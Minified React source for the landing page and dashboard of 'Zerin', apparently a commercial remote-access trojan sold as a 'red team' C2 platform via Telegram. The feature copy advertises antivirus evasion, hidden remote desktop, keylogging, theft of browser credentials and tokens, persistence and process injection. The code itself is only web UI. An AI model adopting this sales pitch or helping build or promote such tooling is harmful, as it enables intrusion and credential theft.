text-left",children:"Notifications"}),s.jsx("span",{className:`w-1.5 h-1.5 rounded-full ${u&&c==="granted"?"bg-zerin-accent":"bg-zinc-600"}`})]}),s.jsxs("div",{className:"flex items-center gap-2.5 px-3 py-2 text-xs select-none",onClick:w,children:[s.jsx("span",{className:`inline-block w-1.5 h-1.5 rounded-full ${T?"bg-zerin-accent":"bg-zinc-600"}`}),s.jsx("span",{className:T?"text-zerin-text-dim":"text-zerin-text-muted",children:T?j?"ONLINE // NEON":b?"Nyaa~ Connected":"Connected":j?"OFFLINE // DARK":"Disconnected"})]}),s.jsxs("button",{onClick:e,className:`w-full flex items-center gap-2.5 px-3 py-2 text-sm font-sans\r + text-zerin-text-dim hover:text-zerin-danger hover:bg-zerin-danger-dim\r + transition-colors duration-150`,children:[s.jsxs("svg",{className:"w-4 h-4",viewBox:"0 0 20 20",fill:"currentColor",children:[s.jsx("path",{fillRule:"evenodd",d:"M3 3a1 1 0 00-1 1v12a1 1 0 001 1h6a1 1 0 100-2H4V5h5a1 1 0 100-2H3zm11.707 3.293a1 1 0 010 1.414L12.414 10l2.293 2.293a1 1 0 01-1.414 1.414l-3-3a1 1 0 010-1.414l3-3a1 1 0 011.414 0z",clipRule:"evenodd"}),s.jsx("path",{fillRule:"evenodd",d:"M17 10a1 1 0 00-1-1H9a1 1 0 100 2h7a1 1 0 001-1z",clipRule:"evenodd"})]}),s.jsx("span",{children:j?"JACK OUT":b?"Bai bai~":"Sign out"})]})]})]}),s.jsx("main",{className:"flex-1 overflow-auto custom-scrollbar bg-zerin-bg",children:s.jsx(GP,{})}),s.jsx(fA,{open:x,onClose:()=>g(!1),agents:y}),b&&s.jsx(gA,{}),k&&s.jsxs("div",{className:"fixed inset-0 z-[9999] flex items-center justify-center cursor-pointer",onClick:()=>S(!1),style:{animation:"credits-in 0.5s ease-out"},children:[s.jsx("div",{className:"absolute inset-0 bg-black/90 backdrop-blur-sm"}),s.jsxs("div",{className:"relative text-center select-none",style:{animation:"glitch-appear 0.6s ease-out"},children:[s.jsx("pre",{className:"text-cyan-400 text-xs sm:text-sm font-mono mb-8 leading-tight",style:{textShadow:"0 0 10px rgba(0, 255, 255, 0.5), 0 0 40px rgba(0, 255, 255, 0.2)",animation:"credits-glow 2s ease-in-out infinite alternate"},children:` + _______ ______ ______ _____ __ _ + / |______ |_____/ | | \\ | + / |______ | \\_ __|__ | \\_| + `}),s.jsxs("div",{className:"space-y-4 mb-10",children:[s.jsx("p",{className:"text-zinc-500 text-xs font-mono tracking-[0.3em] uppercase",children:"Developed by"}),s.jsxs("div",{className:"space-y-3",children:[s.jsx("p",{className:"text-cyan-300 text-xl font-mono font-bold tracking-wider",style:{textShadow:"0 0 20px rgba(0, 255, 255, 0.4)",animation:"credit-slide 0.5s ease-out 0.2s both"},children:"Cycle"}),s.jsx("p",{className:"text-cyan-300 text-xl font-mono font-bold tracking-wider",style:{textShadow:"0 0 20px rgba(0, 255, 255, 0.4)",animation:"credit-slide 0.5s ease-out 0.4s both"},children:"SysBuffer"}),s.jsx("p",{className:"text-cyan-300 text-xl font-mono font-bold tracking-wider",style:{textShadow:"0 0 20px rgba(0, 255, 255, 0.4)",animation:"credit-slide 0.5s ease-out 0.6s both"},children:"Ace"})]})]}),s.jsx("p",{className:"text-zinc-600 text-[10px] font-mono tracking-widest uppercase",style:{animation:"credit-slide 0.5s ease-out 0.8s both"},children:"click anywhere to close"})]}),s.jsx("div",{className:"absolute inset-0 pointer-events-none opacity-[0.03]",style:{background:"repeating-linear-gradient(0deg, transparent, transparent 2px, rgba(255,255,255,0.1) 2px, rgba(255,255,255,0.1) 4px)"}}),s.jsx("style",{children:` + @keyframes credits-in { + from { opacity: 0; } + to { opacity: 1; } + } + @keyframes glitch-appear { + 0% { transform: scale(0.95) translateY(10px); opacity: 0; filter: blur(4px); } + 50% { transform: scale(1.02) translateY(-2px); filter: blur(0); } + 100% { transform: scale(1) translateY(0); opacity: 1; filter: blur(0); } + } + @keyframes credits-glow { + from { text-shadow: 0 0 10px rgba(0,255,255,0.5), 0 0 40px rgba(0,255,255,0.2); } + to { text-shadow: 0 0 20px rgba(0,255,255,0.8), 0 0 60px rgba(0,255,255,0.3); } + } + @keyframes credit-slide { + from { opacity: 0; transform: translateY(15px); } + to { opacity: 1; transform: translateY(0); } + } + `})]})]})})}const bA=p.memo(function(){const t=p.useRef(null);return p.useEffect(()=>{const n=t.current;if(!n)return;const r=n.getContext("2d",{alpha:!0});let i,a=0,o=0;const l=1e3/30,c=256,u=new Array(c);for(let k=0;k{y(),b()};return window.removeEventListener("resize",y),window.addEventListener("resize",j),()=>{cancelAnimationFrame(i),window.removeEventListener("resize",j)}},[]),s.jsx("canvas",{ref:t,className:"fixed inset-0 pointer-events-none",style:{zIndex:0}})});function wA(e,t=40,n=0){const r=p.useRef(null),i=p.useRef(null),[a,o]=p.useState(!1);return p.useEffect(()=>{let l=0;o(!1),r.current&&(r.current.textContent=""),i.current&&(i.current.style.display="");const c=setTimeout(()=>{const u=setInterval(()=>{l++,r.current&&(r.current.textContent=e.slice(0,l)),l>=e.length&&(clearInterval(u),o(!0),i.current&&(i.current.style.display="none"))},t);return()=>clearInterval(u)},n);return()=>clearTimeout(c)},[e,t,n]),{spanRef:r,cursorRef:i,done:a}}const jA=[{tag:"STEALTH",title:"Low Detection Rate",desc:"Polymorphic engine that generates unique builds every time. Unique hashes, code paths, and structure — designed for red team engagements where evasion matters.",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M3.98 8.223A10.477 10.477 0 0 0 1.934 12c1.292 4.338 5.31 7.5 10.066 7.5.993 0 1.953-.138 2.863-.395M6.228 6.228A10.45 10.45 0 0 1 12 4.5c4.756 0 8.773 3.162 10.065 7.498a10.523 10.523 0 0 1-4.293 5.774M6.228 6.228 3 3m3.228 3.228 3.65 3.65m7.894 7.894L21 21m-3.228-3.228-3.65-3.65m0 0a3 3 0 1 0-4.243-4.243m4.242 4.242L9.88 9.88",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"STEALTH",title:"Process Concealment",desc:"Advanced in-memory execution with API-level hooks. Simulates APT tradecraft used in real-world adversary emulation engagements.",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M9 12.75 11.25 15 15 9.75m-3-7.036A11.959 11.959 0 0 1 3.598 6 11.99 11.99 0 0 0 3 9.749c0 5.592 3.824 10.29 9 11.623 5.176-1.332 9-6.03 9-11.622 0-1.31-.21-2.571-.598-3.751h-.152c-3.196 0-6.1-1.248-8.25-3.285Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"PERSIST",title:"Persistence Testing",desc:"12 persistence mechanisms for thorough assessment coverage. Test registry keys, scheduled tasks, services, WMI, COM objects, and more.",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M19.5 12c0-1.232-.046-2.453-.138-3.662a4.006 4.006 0 0 0-3.7-3.7 48.678 48.678 0 0 0-7.324 0 4.006 4.006 0 0 0-3.7 3.7c-.017.22-.032.441-.046.662M19.5 12l3-3m-3 3-3-3m-12 3c0 1.232.046 2.453.138 3.662a4.006 4.006 0 0 0 3.7 3.7 48.656 48.656 0 0 0 7.324 0 4.006 4.006 0 0 0 3.7-3.7c.017-.22.032-.441.046-.662M4.5 12l3 3m-3-3-3 3",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"ACCESS",title:"Remote Desktop",desc:"Hidden desktop session for interactive access. Supports VNC and hVNC for stealthy operator control during engagements.",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M9 17.25v1.007a3 3 0 0 1-.879 2.122L7.5 21h9l-.621-.621A3 3 0 0 1 15 18.257V17.25m6-12V15a2.25 2.25 0 0 1-2.25 2.25H5.25A2.25 2.25 0 0 1 3 15V5.25A2.25 2.25 0 0 1 5.25 3h13.5A2.25 2.25 0 0 1 21 5.25Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"CAPTURE",title:"Screen Capture",desc:"GPU-accelerated DXGI capture with dirty-rect tiling. Low-latency streaming for real-time monitoring during assessments.",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"m15.75 10.5 4.72-4.72a.75.75 0 0 1 1.28.53v11.38a.75.75 0 0 1-1.28.53l-4.72-4.72M4.5 18.75h9a2.25 2.25 0 0 0 2.25-2.25v-9a2.25 2.25 0 0 0-2.25-2.25h-9A2.25 2.25 0 0 0 2.25 7.5v9a2.25 2.25 0 0 0 2.25 2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"CREDS",title:"Credential Auditing",desc:"Extracts stored credentials, cookies, and tokens from browsers and applications. Validates password hygiene across the target environment.",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M15.75 5.25a3 3 0 0 1 3 3m3 0a6 6 0 0 1-7.029 5.912c-.563-.097-1.159.026-1.563.43L10.5 17.25H8.25v2.25H6v2.25H2.25v-2.818c0-.597.237-1.17.659-1.591l6.499-6.499c.404-.404.527-1 .43-1.563A6 6 0 1 1 21.75 8.25Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"CRYPTO",title:"Encrypted C2",desc:"ChaCha20-Poly1305 encrypted communications. X25519 key exchange. TLS 1.3 transport. Zero plaintext on the wire — ever.",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M16.5 10.5V6.75a4.5 4.5 0 1 0-9 0v3.75m-.75 11.25h10.5a2.25 2.25 0 0 0 2.25-2.25v-6.75a2.25 2.25 0 0 0-2.25-2.25H6.75a2.25 2.25 0 0 0-2.25 2.25v6.75a2.25 2.25 0 0 0 2.25 2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"SHELL",title:"Command Execution",desc:"Interactive shell with full PowerShell and CMD support. Run commands, scripts, and post-exploitation modules on target systems.",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"m6.75 7.5 3 2.25-3 2.25m4.5 0h3m-9 8.25h13.5A2.25 2.25 0 0 0 21 18V6a2.25 2.25 0 0 0-2.25-2.25H5.25A2.25 2.25 0 0 0 3 6v12a2.25 2.25 0 0 0 2.25 2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"RECON",title:"Input Monitoring",desc:"Real-time keystroke capture with window context. Logs organized by application for comprehensive assessment data.",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M7.5 8.25h9m-9 3H12m-9.75 1.51c0 1.6 1.123 2.994 2.707 3.227 1.129.166 2.27.293 3.423.379.35.026.67.21.865.501L12 21l2.755-4.133a1.14 1.14 0 0 1 .865-.501 48.172 48.172 0 0 0 3.423-.379c1.584-.233 2.707-1.626 2.707-3.228V6.741c0-1.602-1.123-2.995-2.707-3.228A48.394 48.394 0 0 0 12 3c-2.392 0-4.744.175-7.043.513C3.373 3.746 2.25 5.14 2.25 6.741v6.018Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"TUNNEL",title:"SOCKS5 Proxy",desc:"Reverse SOCKS5 tunnel through the agent. Pivot into internal networks and route traffic for lateral movement testing.",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M7.5 21 3 16.5m0 0L7.5 12M3 16.5h13.5m0-13.5L21 7.5m0 0L16.5 12M21 7.5H7.5",strokeLinecap:"round",strokeLinejoin:"round"})})}],kA=["Windows Defender","CrowdStrike Falcon","SentinelOne","Kaspersky","Bitdefender","Norton 360","ESET NOD32","Malwarebytes","McAfee Total","Sophos Endpoint","Trend Micro","Avast Premium","CylancePROTECT","Carbon Black","Palo Alto Cortex","Webroot"];function xs({value:e,label:t,suffix:n="",prefix:r=""}){const i=p.useRef(null),a=p.useRef(null);return p.useEffect(()=>{const o=i.current,l=a.current;if(!o||!l)return;const c=new IntersectionObserver(([u])=>{if(u.isIntersecting){let d=0;const m=Math.max(1,Math.ceil(e/40)),h=setInterval(()=>{d+=m,d>=e?(l.textContent=r+e.toLocaleString()+n,clearInterval(h)):l.textContent=r+d.toLocaleString()+n},50);c.disconnect()}},{threshold:.3});return c.observe(o),()=>c.disconnect()},[e,n,r]),s.jsxs("div",{ref:i,className:"text-center",children:[s.jsxs("div",{ref:a,className:"font-mono text-4xl md:text-5xl font-bold text-zerin-accent tabular-nums",children:[r,"0",n]}),s.jsx("div",{className:"text-zerin-text-muted text-sm mt-2 uppercase tracking-widest font-mono text-[11px]",children:t})]})}const NA=p.memo(function({name:t,delay:n}){return s.jsxs("div",{className:"flex items-center justify-between px-4 py-[7px] border-b border-[#111118] last:border-b-0 landing-scan-row",style:{animationDelay:`${n}ms`},children:[s.jsx("span",{className:"font-mono text-[12px] text-zerin-text-dim/80 truncate",children:t}),s.jsxs("span",{className:"font-mono text-[11px] tracking-wider text-emerald-400/90 flex items-center gap-1.5 flex-shrink-0",children:[s.jsx("span",{className:"w-1 h-1 rounded-full bg-emerald-400/80"}),"Clean"]})]})}),SA=p.memo(function({feature:t,index:n}){return s.jsxs("div",{className:"group relative",style:{animationDelay:`${n*80}ms`},children:[s.jsx("div",{className:"absolute -inset-[1px] bg-gradient-to-b from-zerin-accent/20 to-transparent opacity-0 group-hover:opacity-100 transition-opacity duration-500 blur-sm"}),s.jsxs("div",{className:"relative bg-[#08080c] border border-[#1a1a22] group-hover:border-zerin-accent/30 transition-all duration-500 p-6 h-full flex flex-col",children:[s.jsxs("div",{className:"flex items-center justify-between mb-4",children:[s.jsx("span",{className:"font-mono text-[10px] tracking-[0.2em] text-zerin-accent/60 uppercase",children:t.tag}),s.jsx("span",{className:"text-zerin-accent/40 group-hover:text-zerin-accent transition-colors duration-500",children:t.icon})]}),s.jsx("h3",{className:"text-zerin-text font-display font-semibold text-[15px] mb-2 group-hover:text-zerin-accent transition-colors duration-300",children:t.title}),s.jsx("p",{className:"text-zerin-text-muted text-[13px] leading-relaxed flex-1",children:t.desc}),s.jsx("div",{className:"mt-5 h-[1px] w-0 group-hover:w-full bg-gradient-to-r from-zerin-accent/50 to-transparent transition-all duration-700"})]})]})});function zA(){const e=wA("Adversary Simulation. Red Team Operations.",45,600),[t,n]=p.useState(!1),[r,i]=p.useState(null),[a,o]=p.useState(()=>!sessionStorage.getItem("zerin_beta_dismissed")),l=p.useCallback(()=>{o(!1),sessionStorage.setItem("zerin_beta_dismissed","1")},[]);p.useEffect(()=>{const u=()=>n(window.scrollY>20);return window.addEventListener("scroll",u),()=>window.removeEventListener("scroll",u)},[]);const c=p.useCallback(async u=>{if(!r){i(u);try{const d=await fetch("/api/payments/create",{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({tier:u})}),f=await d.json();if(!d.ok){alert(f.error||"Failed to create payment");return}window.location.href=f.invoice_url}catch{alert("Failed to create payment. Please try again.")}finally{i(null)}}},[r]);return s.jsxs("div",{className:"relative min-h-screen bg-[#04040a] text-zerin-text overflow-x-hidden overflow-y-auto",children:[s.jsx(bA,{}),a&&s.jsxs("div",{className:"fixed inset-0 z-[100] flex items-center justify-center px-4",onClick:l,children:[s.jsx("div",{className:"absolute inset-0 bg-black/70 backdrop-blur-sm"}),s.jsxs("div",{className:"relative bg-[#08080c] border border-zerin-accent/30 max-w-md w-full p-8 animate-scale-in",onClick:u=>u.stopPropagation(),children:[s.jsx("div",{className:"absolute top-0 left-0 w-3 h-3 border-t border-l border-zerin-accent/50"}),s.jsx("div",{className:"absolute top-0 right-0 w-3 h-3 border-t border-r border-zerin-accent/50"}),s.jsx("div",{className:"absolute bottom-0 left-0 w-3 h-3 border-b border-l border-zerin-accent/50"}),s.jsx("div",{className:"absolute bottom-0 right-0 w-3 h-3 border-b border-r border-zerin-accent/50"}),s.jsxs("div",{className:"flex items-center gap-2.5 mb-5",children:[s.jsx("span",{className:"w-2 h-2 rounded-full bg-amber-400 animate-pulse-dot"}),s.jsx("span",{className:"font-mono text-[10px] tracking-[0.2em] text-amber-400/90 uppercase",children:"Beta"})]}),s.jsx("h3",{className:"font-display font-bold text-xl text-zerin-text mb-3",children:"Zerin is still in development"}),s.jsx("p",{className:"font-mono text-[13px] text-zerin-text-muted leading-relaxed mb-3",children:"The platform is currently in beta and not yet feature-complete. We're actively building and testing before public release."}),s.jsxs("p",{className:"font-mono text-[13px] text-zerin-text-muted leading-relaxed mb-6",children:["The official release will be announced on our"," ",s.jsx("a",{href:"https://t.me/zerinrat",target:"_blank",rel:"noopener noreferrer",className:"text-zerin-accent hover:text-zerin-accent-hover transition-colors",children:"Telegram channel"}),"."]}),s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("button",{onClick:l,className:"flex-1 bg-zerin-accent/10 border border-zerin-accent/25 hover:border-zerin-accent/50 text-zerin-accent font-mono text-sm py-2.5 transition-all duration-300",children:"Got it"}),s.jsxs("a",{href:"https://t.me/zerinrat",target:"_blank",rel:"noopener noreferrer",className:"flex-1 bg-zerin-accent text-[#04040a] font-mono font-semibold text-sm py-2.5 text-center transition-all duration-300 hover:shadow-[0_0_20px_rgba(6,182,212,0.3)] flex items-center justify-center gap-2",children:[s.jsx("svg",{className:"w-4 h-4",viewBox:"0 0 24 24",fill:"currentColor",children:s.jsx("path",{d:"M11.944 0A12 12 0 0 0 0 12a12 12 0 0 0 12 12 12 12 0 0 0 12-12A12 12 0 0 0 12 0a12 12 0 0 0-.056 0zm4.962 7.224c.1-.002.321.023.465.14a.506.506 0 0 1 .171.325c.016.093.036.306.02.472-.18 1.898-.962 6.502-1.36 8.627-.168.9-.499 1.201-.82 1.23-.696.065-1.225-.46-1.9-.902-1.056-.693-1.653-1.124-2.678-1.8-1.185-.78-.417-1.21.258-1.91.177-.184 3.247-2.977 3.307-3.23.007-.032.014-.15-.056-.212s-.174-.041-.249-.024c-.106.024-1.793 1.14-5.061 3.345-.48.33-.913.49-1.302.48-.428-.008-1.252-.241-1.865-.44-.752-.245-1.349-.374-1.297-.789.027-.216.325-.437.893-.663 3.498-1.524 5.83-2.529 6.998-3.014 3.332-1.386 4.025-1.627 4.476-1.635z"})}),"Join Telegram"]})]})]})]}),s.jsx("div",{className:"fixed top-0 left-1/2 -translate-x-1/2 w-[1000px] h-[600px] pointer-events-none",style:{background:"radial-gradient(ellipse at center, rgba(6,182,212,0.03) 0%, transparent 70%)",zIndex:0}}),s.jsx("nav",{className:`fixed top-0 left-0 right-0 z-50 transition-all duration-300 ${t?"bg-[#04040a]/80 backdrop-blur-xl border-b border-[#1a1a22]":"bg-transparent"}`,children:s.jsxs("div",{className:"max-w-6xl mx-auto px-6 h-16 flex items-center justify-between",children:[s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("span",{className:"font-display font-bold text-lg tracking-tight text-zerin-text",children:"ZERIN"}),s.jsx("span",{className:"text-[9px] font-mono tracking-[0.15em] border border-zerin-accent/25 text-zerin-accent/70 px-1.5 py-0.5 leading-none",children:"C2"})]}),s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx(it,{to:"/features",className:"text-zerin-text-dim hover:text-zerin-accent text-sm font-mono transition-colors px-3 py-1.5",children:"Features"}),s.jsx("a",{href:"#pricing",className:"text-zerin-text-dim hover:text-zerin-accent text-sm font-mono transition-colors px-3 py-1.5",children:"Pricing"}),s.jsxs("a",{href:"https://t.me/zerinrat",target:"_blank",rel:"noopener noreferrer",className:"text-zerin-text-dim hover:text-zerin-accent text-sm font-mono transition-colors px-3 py-1.5 flex items-center gap-1.5",children:[s.jsx("svg",{className:"w-4 h-4",viewBox:"0 0 24 24",fill:"currentColor",children:s.jsx("path",{d:"M11.944 0A12 12 0 0 0 0 12a12 12 0 0 0 12 12 12 12 0 0 0 12-12A12 12 0 0 0 12 0a12 12 0 0 0-.056 0zm4.962 7.224c.1-.002.321.023.465.14a.506.506 0 0 1 .171.325c.016.093.036.306.02.472-.18 1.898-.962 6.502-1.36 8.627-.168.9-.499 1.201-.82 1.23-.696.065-1.225-.46-1.9-.902-1.056-.693-1.653-1.124-2.678-1.8-1.185-.78-.417-1.21.258-1.91.177-.184 3.247-2.977 3.307-3.23.007-.032.014-.15-.056-.212s-.174-.041-.249-.024c-.106.024-1.793 1.14-5.061 3.345-.48.33-.913.49-1.302.48-.428-.008-1.252-.241-1.865-.44-.752-.245-1.349-.374-1.297-.789.027-.216.325-.437.893-.663 3.498-1.524 5.83-2.529 6.998-3.014 3.332-1.386 4.025-1.627 4.476-1.635z"})}),"Telegram"]}),s.jsx(it,{to:"/login",className:"text-zerin-text-dim hover:text-zerin-text text-sm font-mono transition-colors px-3 py-1.5",children:"Login"}),s.jsx(it,{to:"/register",className:"bg-zerin-accent/10 border border-zerin-accent/25 hover:border-zerin-accent/50 hover:bg-zerin-accent/15 text-zerin-accent text-sm font-mono px-4 py-1.5 transition-all duration-300",children:"Register"})]})]})}),s.jsxs("section",{className:"relative z-10 min-h-screen flex flex-col items-center justify-center px-6 text-center",children:[s.jsxs("div",{className:"inline-flex items-center gap-2.5 border border-emerald-500/20 bg-emerald-500/5 px-4 py-1.5 mb-8 animate-fade-in",children:[s.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-emerald-400 animate-pulse-dot"}),s.jsx("span",{className:"font-mono text-[11px] text-emerald-400/90 tracking-wide",children:"Advanced Red Team Framework"})]}),s.jsx("img",{src:"/zerin-logo.png",alt:"Zerin",className:"w-28 h-28 md:w-36 md:h-36 object-contain mb-6 opacity-0 animate-fade-in drop-shadow-[0_0_40px_rgba(6,182,212,0.4)]",style:{animationDelay:"200ms",animationFillMode:"forwards"}}),s.jsxs("h1",{className:"font-display font-bold text-5xl sm:text-6xl md:text-7xl lg:text-8xl tracking-tight leading-[0.95] mb-6",children:[s.jsx("span",{className:"block text-zerin-text opacity-0 animate-slide-up",children:"Next-Gen"}),s.jsx("span",{className:"block bg-gradient-to-r from-zerin-accent via-cyan-300 to-zerin-accent bg-clip-text text-transparent opacity-0 animate-slide-up",style:{animationDelay:"150ms",animationFillMode:"forwards"},children:"Remote Access"})]}),s.jsx("div",{className:"h-8 mb-8",children:s.jsxs("span",{className:"font-mono text-lg md:text-xl text-zerin-text-muted",children:[s.jsx("span",{ref:e.spanRef}),s.jsx("span",{ref:e.cursorRef,className:"inline-block w-[2px] h-5 bg-zerin-accent ml-0.5 animate-pulse"})]})}),s.jsx("p",{className:"max-w-xl text-zerin-text-muted/80 text-[15px] leading-relaxed mb-10 opacity-0 animate-fade-in",style:{animationDelay:"800ms",animationFillMode:"forwards"},children:"Professional adversary simulation platform for red team operators and penetration testers. Encrypted C2 communications, polymorphic payload generation, and comprehensive post-exploitation capabilities."}),s.jsxs("div",{className:"flex items-center gap-4 opacity-0 animate-fade-in",style:{animationDelay:"1000ms",animationFillMode:"forwards"},children:[s.jsxs("a",{href:"#pricing",className:"group relative overflow-hidden bg-zerin-accent text-[#04040a] font-mono font-semibold text-sm px-7 py-3 transition-all duration-300 hover:shadow-[0_0_30px_rgba(6,182,212,0.3)]",children:[s.jsx("span",{className:"relative z-10",children:"Get Access"}),s.jsx("div",{className:"absolute inset-0 bg-gradient-to-r from-transparent via-white/20 to-transparent -translate-x-full group-hover:translate-x-full transition-transform duration-700"})]}),s.jsx(it,{to:"/login",className:"border border-[#1a1a22] hover:border-zerin-accent/30 text-zerin-text-dim hover:text-zerin-text font-mono text-sm px-7 py-3 transition-all duration-300",children:"Sign In"})]}),s.jsxs("div",{className:"absolute bottom-10 left-1/2 -translate-x-1/2 flex flex-col items-center gap-2 opacity-0 animate-fade-in",style:{animationDelay:"1500ms",animationFillMode:"forwards"},children:[s.jsx("span",{className:"text-[10px] font-mono text-zerin-text-muted/40 uppercase tracking-[0.3em]",children:"Scroll"}),s.jsx("div",{className:"w-[1px] h-8 bg-gradient-to-b from-zerin-accent/30 to-transparent animate-pulse"})]})]}),s.jsx("section",{className:"relative z-10 py-28 px-6",children:s.jsxs("div",{className:"max-w-5xl mx-auto",children:[s.jsxs("div",{className:"text-center mb-14",children:[s.jsx("span",{className:"font-mono text-[11px] tracking-[0.3em] text-emerald-400/70 uppercase",children:"Evasion Testing"}),s.jsxs("h2",{className:"font-display font-bold text-3xl md:text-4xl mt-3 tracking-tight",children:["Built to Bypass."," ",s.jsx("span",{className:"bg-gradient-to-r from-emerald-400 to-cyan-300 bg-clip-text text-transparent",children:"Every Build Unique."})]}),s.jsx("p",{className:"text-zerin-text-muted text-[14px] mt-3 max-w-lg mx-auto",children:"Every payload is structurally unique. Polymorphic generation, encrypted strings, and dynamic API resolution — built for testing your security stack."})]}),s.jsxs("div",{className:"grid lg:grid-cols-2 gap-8 items-start",children:[s.jsxs("div",{className:"border border-[#1a1a22] bg-[#06060b] overflow-hidden",children:[s.jsxs("div",{className:"flex items-center justify-between px-5 py-3.5 border-b border-[#1a1a22] bg-[#08080c]",children:[s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("div",{className:"w-8 h-8 rounded-sm bg-emerald-500/10 border border-emerald-500/20 flex items-center justify-center",children:s.jsx("svg",{className:"w-4 h-4 text-emerald-400",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"2",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 12.75 11.25 15 15 9.75M21 12a9 9 0 1 1-18 0 9 9 0 0 1 18 0Z"})})}),s.jsxs("div",{children:[s.jsx("div",{className:"font-mono text-[12px] text-zerin-text font-medium",children:"zerin_agent.exe"}),s.jsx("div",{className:"font-mono text-[10px] text-zerin-text-muted",children:"SHA256: a4f8...3d7e · 487 KB"})]})]}),s.jsxs("div",{className:"text-right",children:[s.jsx("div",{className:"font-mono text-[22px] font-bold text-emerald-400 leading-none",children:"0 / 72"}),s.jsx("div",{className:"font-mono text-[9px] text-emerald-400/60 uppercase tracking-wider mt-0.5",children:"Detections"})]})]}),s.jsx("div",{className:"px-5 py-2.5 border-b border-[#1a1a22]",children:s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("div",{className:"flex-1 h-1 bg-[#111118] rounded-full overflow-hidden",children:s.jsx("div",{className:"h-full bg-gradient-to-r from-emerald-500 to-emerald-400 rounded-full landing-scan-bar"})}),s.jsx("span",{className:"font-mono text-[10px] text-emerald-400/80",children:"72 / 72"})]})}),s.jsx("div",{className:"max-h-[340px] overflow-y-auto custom-scrollbar",children:kA.map((u,d)=>s.jsx(NA,{name:u,delay:d*60},u))})]}),s.jsx("div",{className:"space-y-5 lg:pt-2",children:[{title:"Polymorphic Generation",desc:"Every build produces unique machine code. No two agents share the same byte sequence — tests your AV/EDR signature detection capabilities.",icon:"01"},{title:"Encrypted Strings",desc:"All strings are ChaCha20-encrypted with a per-build key. Decrypted at runtime and wiped after use. Designed to challenge static analysis tools.",icon:"02"},{title:"In-Memory Execution",desc:"Modules are loaded reflectively in memory — no disk artifacts, no loaded module list entries. Tests your EDR memory scanning capabilities.",icon:"03"},{title:"Dynamic API Resolution",desc:"Windows API calls resolved via runtime hash lookup. Clean import table — challenges import-based heuristic detection engines.",icon:"04"}].map(u=>s.jsxs("div",{className:"group flex gap-4 p-4 border border-[#1a1a22] bg-[#08080c]/50 hover:border-zerin-accent/20 transition-all duration-300",children:[s.jsx("div",{className:"flex-shrink-0 w-9 h-9 border border-zerin-accent/20 bg-zerin-accent/5 flex items-center justify-center",children:s.jsx("span",{className:"font-mono text-[11px] text-zerin-accent/70 font-bold",children:u.icon})}),s.jsxs("div",{children:[s.jsx("h4",{className:"font-display text-[14px] font-semibold text-zerin-text mb-1 group-hover:text-zerin-accent transition-colors duration-300",children:u.title}),s.jsx("p",{className:"font-mono text-[12px] text-zerin-text-muted leading-relaxed",children:u.desc})]})]},u.icon))})]})]})}),s.jsx("section",{className:"relative z-10 py-24 px-6 border-t border-[#1a1a22]/50",children:s.jsx("div",{className:"max-w-5xl mx-auto",children:s.jsxs("div",{className:"grid lg:grid-cols-2 gap-12 items-center",children:[s.jsxs("div",{className:"border border-[#1a1a22] bg-[#06060b]",children:[s.jsxs("div",{className:"flex items-center gap-2 px-4 py-3 border-b border-[#1a1a22]",children:[s.jsx("div",{className:"w-2.5 h-2.5 rounded-full bg-red-500/60"}),s.jsx("div",{className:"w-2.5 h-2.5 rounded-full bg-yellow-500/40"}),s.jsx("div",{className:"w-2.5 h-2.5 rounded-full bg-green-500/40"}),s.jsx("span",{className:"ml-3 font-mono text-[11px] text-zerin-text-muted/50",children:"zerin@c2 ~ session"})]}),s.jsxs("div",{className:"p-5 font-mono text-[12px] leading-[1.8] space-y-0.5",children:[s.jsxs("div",{children:[s.jsx("span",{className:"text-zerin-accent",children:"$"}),s.jsx("span",{className:"text-zerin-text-dim ml-2",children:"stealth --deploy"})]}),s.jsx("div",{className:"text-zerin-text-muted/60 pl-4",children:"[*] Reflective module: 48 KB"}),s.jsxs("div",{className:"text-zerin-text-muted/60 pl-4",children:["[*] Loading into explorer.exe (PID 4892)... 